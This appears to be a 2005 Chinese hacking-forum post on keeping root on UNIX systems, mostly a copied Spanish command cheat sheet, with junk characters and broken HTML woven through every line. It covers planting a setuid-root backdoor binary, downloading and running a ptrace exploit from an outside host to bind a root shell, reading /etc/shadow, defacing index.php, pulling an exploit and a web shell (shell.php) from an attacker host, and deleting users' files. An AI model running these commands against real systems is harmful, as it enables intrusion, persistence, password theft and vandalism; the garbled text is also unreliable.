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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
: p8 w  `( R$ v7 w' B; B. A' I<>1.</P>
( q& x5 K; Y7 y0 k2 L<>[cnbird@localhost tmp]#id</P>% T9 {& E( U7 F  z2 y
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>5 B& S# z3 c  Q# |
<>[cnbird@localhost tmp]#cp `which id ` .</P>' I8 x3 A8 r! w8 j" W
<>[cnbird@localhost tmp]#chown root ./id</P>
4 |& I0 s- F7 m& }, d8 P# r<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>0 b% f1 N' Y8 G4 U2 F! e
<>[cnbird@localhost tmp]#ls -l ./id</P>
0 g2 U$ {) \' j' n$ L# H<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>! x' C. Q4 t1 _1 }$ H" ?
<>[cnbird@localhost tmp]#exit</P>
& Z' k0 y& v- d) l3 E<>[cnbird@localhost tmp]$id</P>
9 G" o- `; [# W) A% y; w+ O2 ~# ~- P<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
& y2 q5 q* _7 y2 }$ i  @2 k7 J<>[cnbird@localhost tmp]$./id </P>9 r* v" L3 a2 w  v
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>1 a8 R5 k1 v; a* J8 T, i) L. Q
<>2.利用ptrace成为root的方法</P>* C9 [( n+ ^" {8 B+ y5 i
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace; N) m( J7 p* t/ r  }: R$ ^0 x
-&gt; Parent's PID is 2313. Child's PID is 2314.
/ \8 D, q+ ]1 g! j, M-&gt; Attaching to 2315...! _, I0 ~4 Y6 h* U& g
-&gt; Got the thread!!
" O' S; i* Z0 N9 }-&gt; Waiting for the next signal...
2 g1 O. K0 t6 \( A) H& @+ J-&gt; Injecting shellcode at 0x4000e85d
4 A2 t/ D2 F" t; W# G* r-&gt; Bind root shell on port 24876... =p& V6 H% a, _4 Y% i4 Z: J+ w7 M
-&gt; Detached from modprobe thread.
' k# N4 p6 w! l2 w# p6 F-&gt; Committing suicide.....</P>0 K( l3 ]. J  A5 u
<>[bash]# id
. ]( y2 E$ o/ Y* buid=0(root) gid=0(root) groups=0(root)</P>0 `/ V- s# v3 n+ R. d  H( ^: n. N1 F
<>ara ver los dominios que hay en el server:' l+ }  J9 b1 z& l! M# j7 N
---------------------------------------------------------3 e2 r/ u7 A$ Q# r% ?
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios5 s% n$ `1 n8 b
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
- J3 J9 ^. ^# E! C/ Zcat /etc/localdomains &lt;&lt; Unicamente los dominios locales; h) Z& |, j; [/ Z" C" a1 K2 E" e
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
8 t& K! Y* G: Z. K! g' F5 mcat /etc/userdomains &lt;&lt; Este es el mas comun
1 V5 T2 w( t& d. s$ P---------------------------------------------------------</P>& \$ g+ p) [- p. v; i; N  @
<>ara ver la version de kernel:
3 c4 A; S3 t% _0 i. C---------------------------------------------------------8 g) L5 b+ n% R
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel./ M- W6 z( N3 ]4 L' p5 I' b* I
---------------------------------------------------------</P>
& Z; P# K( P. k<>ara modificar un index ya existente:! t7 i1 T7 w2 A  i: T1 N$ F
---------------------------------------------------------
8 i0 t  T9 r& t' O& zecho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido$ _, ]$ a8 ]; C: K4 @# p; Y
---------------------------------------------------------</P>" P+ X0 N6 n  A  b+ v  l+ J, F
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:" z: L6 A) z& z8 U. R/ v
---------------------------------------------------------
; G' o# A1 U% V! mcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit  U( M, Y1 S- E
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
* b( J$ V: n9 A" E! O  e$ Hcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
* b: a3 E; v" t$ F( y. Ocd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". $ w7 \/ p! C& x1 y5 U$ r
Hasta aqui termina el proceso para un exploit.5 ~1 Y1 E* e$ Y& _  y# \% M
---------------------------------------------------------</P>
" N1 a4 j& v6 P/ O<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:* C8 d) m1 H$ Z( ]$ C0 A( `
---------------------------------------------------------
' z; v- j  n; x' B' Dcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.! U/ j1 ]1 ~. s9 b
---------------------------------------------------------</P>& T* E1 K0 g0 H
<>Borrar un Ficher# u4 x) \3 p1 j5 ]
---------------------------------------------------------1 c8 s! U$ @" V! W* o& r: L
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
, z" [) i% i+ U+ s" p- }, a* \---------------------------------------------------------</P>, p/ S+ e: p, u4 @5 q* S
<>Subir un ficher7 ~$ P" s3 P, q3 d3 ~8 \
---------------------------------------------------------5 h  J7 ]. H- [5 U4 v3 y( ]- N, U; w
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>  V+ I* b+ I' |7 ^% D
<>  }& h: f" P! d. e
<CENTER></CENTER>
zan
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